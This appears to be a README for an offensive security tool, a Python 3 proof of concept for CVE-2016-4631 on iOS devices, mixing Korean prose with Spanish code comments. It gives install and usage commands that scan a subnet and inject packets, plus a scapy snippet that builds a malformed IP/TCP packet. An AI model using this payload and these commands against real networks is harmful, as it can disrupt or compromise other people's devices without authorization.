
iOS 기기를 대상으로 하는 CVE-2016-4631용 현대화된 Python 3 익스플로잇 PoC. 승인된 보안 테스트 및 교육 목적을 위한 네트워크 스캐닝, 변형된 IP/TCP 페이로드 생성, 패킷 주입 기능을 제공합니다.
왜 지금 이걸 공개하나요?
오래된 하드 드라이브와 잊혀진 저장소를 뒤적이던 중, 사이버 보안 경력을 막 시작하던 시절에 작성한 이 스크립트를 발견했습니다. 그때는 완전히 다른 시대였죠 - Python 2.7이 주류였고, CVE-2016-4631 같은 취약점은 일상적이었으며, 작동하는 PoC 하나하나가 작은 승리처럼 느껴지던 시절이었습니다.
오랜 시간이 지난 후 이 코드를 보니 향수를 느끼지 않을 수 없었습니다. 익스플로잇을 디버깅하던 밤들, "Payload sent successfully"라는 메시지를 보고 느꼈던 설렘, 그리고 모든 스크립트가 배움의 한 걸음이었던 순간들이 떠오르더군요. 오늘날에는 훨씬 더 발전된 기술을 다루고 있지만, 이 작은 스크립트는 공격적 보안 세계에서의 첫걸음을 상징합니다.
단순한 향수 때문만이 아니라, 사이버 보안의 길을 막 시작하는 사람들에게도 유용할 수 있다고 생각해서 이 코드를 현대화하고 올리기로 결정했습니다. 우리 모두 어딘가에서 시작했고, 그 "단순한" 첫 스크립트들이 이후 모든 것의 기초가 된다는 것을 보여주는 기억이 되길 바랍니다.
F0LloW_Th3_R4ts는 그 시절 나의 서명이었습니다... 어떤 코드는 결코 잊히지 않습니다. 🐀
- BONKERS, 2025년 7월
FuxIOS.py는 iOS 기기에 영향을 미치는 CVE-2016-4631 취약점에 대한 업데이트된 Proof of Concept(PoC)입니다. 이 버전은 Python 3용으로 완전히 다시 작성되고 현대화되었으며, 기능, 보안 및 사용성에 있어 상당한 개선이 이루어졌습니다.
list_of_ips → list_ips# Instalar nmap (requerido por python-nmap)
# Windows: Descargar desde https://nmap.org/download.html
# Linux: sudo apt-get install nmap
# macOS: brew install nmap
# Clonar repositorio
git clone <repo-url>
cd FuxiOS
# Instalar dependencias
pip install -r requirements.txt
# O manualmente:
pip install scapy python-nmap
# Uso básico
sudo python3 FuxIOS.py
# Configuración personalizada
sudo python3 FuxIOS.py -s 192.168.1.100 -n 192.168.1.0/24
# Opciones avanzadas
sudo python3 FuxIOS.py -s 192.168.1.100 -n 192.168.1.0/24 -m 50 -d 0.1
# Ver ayuda
python3 FuxIOS.py -h
sudo python3 FuxIOS.py --interactive
-s, --source: 공격 출발지 IP (기본값: 192.168.1.95)-n, --network: 대상 서브넷 (기본값: 192.168.1.0/24)-m, --max-payload: 최대 페이로드 크기 (기본값: 40)-d, --delay: 패킷 간 지연 시간(초) (기본값: 0.2)--interactive: 호환성을 위한 대화형 모드# Paquete malicioso
IP(src=source_ip, dst=target_ip, options=malformed_payload) /
TCP(dport=80, flags="S", options=[(19, b"x"*18), (19, b"x"*18)])
이 도구는 다음 용도로만 사용해야 합니다:
로그는 fuxios_exploit.log에 저장되며 다음을 포함합니다:
오류: "No module named 'scapy'"
pip install scapy
오류: "No module named 'nmap'"
pip install python-nmap
# Y asegúrate de tener nmap instalado en el sistema
오류: "Permission denied"
# Linux/macOS
sudo python3 FuxIOS.py
# Windows
# Ejecutar PowerShell/CMD como administrador
Windows: "WinPcap/Npcap not found"
이 프로젝트는 교육 목적으로만 제공됩니다. 저자는 이 도구의 오용에 대해 책임을 지지 않습니다.
기억하세요: "F0LloW_Th3_R4ts <:8)~~ <:8)~~"